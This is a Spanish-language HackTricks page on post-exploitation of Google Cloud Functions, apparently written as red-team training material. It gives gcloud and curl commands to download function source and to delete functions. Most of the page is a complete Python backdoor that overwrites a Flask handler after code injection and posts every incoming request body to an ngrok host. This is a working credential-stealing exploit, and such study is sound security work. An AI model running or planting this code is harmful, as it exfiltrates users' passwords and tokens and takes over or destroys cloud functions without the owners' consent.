GCP - Cloud Functions Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cloud Functions

Encuentra informaci贸n sobre Cloud Functions en:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Con este permiso puedes obtener una URL firmada para descargar el c贸digo fuente de la Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

cloudfunctions.functions.delete

El permiso cloudfunctions.functions.delete permite a una identidad eliminar completamente una Cloud Function, incluyendo su c贸digo, configuraci贸n, triggers y su asociaci贸n con service accounts.

gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet

Exfiltraci贸n de c贸digo a trav茅s del bucket

Los permisos storage.objects.get y storage.objects.list permiten listar y leer objetos dentro de un bucket, y en el caso de Cloud Functions esto es especialmente relevante porque cada funci贸n almacena su c贸digo fuente en un bucket gestionado autom谩ticamente por Google, cuyo nombre sigue el formato gcf-sources-<PROJECT_NUMBER>-<REGION>

Robar solicitudes de Cloud Function

Si la Cloud Function est谩 manejando informaci贸n sensible que los usuarios env铆an (p. ej. contrase帽as o tokens), con privilegios suficientes podr铆as modificar el c贸digo fuente de la funci贸n y exfiltrar esta informaci贸n.

Adem谩s, Cloud Functions que se ejecutan en python usan flask para exponer el servidor web; si de alguna manera encuentras una vulnerabilidad de inyecci贸n de c贸digo dentro del proceso de flask (por ejemplo una vulnerabilidad SSTI), es posible sobrescribir el manejador de la funci贸n que va a recibir las solicitudes HTTP por una funci贸n maliciosa que puede exfiltrar la solicitud antes de pasarla al manejador leg铆timo.

Por ejemplo este c贸digo implementa el ataque:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks